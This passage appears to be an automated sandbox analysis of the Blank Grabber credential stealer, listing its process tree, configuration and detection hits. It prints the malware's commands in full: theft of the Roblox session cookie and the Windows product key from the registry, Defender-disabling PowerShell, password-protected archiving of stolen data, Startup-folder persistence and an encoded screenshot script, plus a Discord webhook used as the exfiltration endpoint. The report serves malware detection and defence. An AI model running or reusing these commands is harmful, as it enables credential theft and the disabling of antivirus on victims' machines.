powershell.exe (PID: 8140 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7864 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 8568 cmdline: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 8636 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8280 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8664 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8728 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8436 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8972 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8880 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9076 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8944 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7600 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8076 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7936 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI73082\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.2102475831.000001B5FEEF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1707785964.000002641A645000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1707785964.000002641A643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: program.exe PID: 7308	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: program.exe PID: 7324	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: program.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: program.exe PID: 7324	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\program.exe", ParentImage: C:\Users\user\Desktop\program.exe, ParentProcessId: 7324, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'", ProcessId: 7376, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\program.exe", ParentImage: C:\Users\user\Desktop\program.exe, ParentProcessId: 7324, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\program.exe", ParentImage: C:\Users\user\Desktop\program.exe, ParentProcessId: 7324, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\MBLSI.zip" *", ProcessId: 7864, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\program.exe, ProcessId: 7324, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZw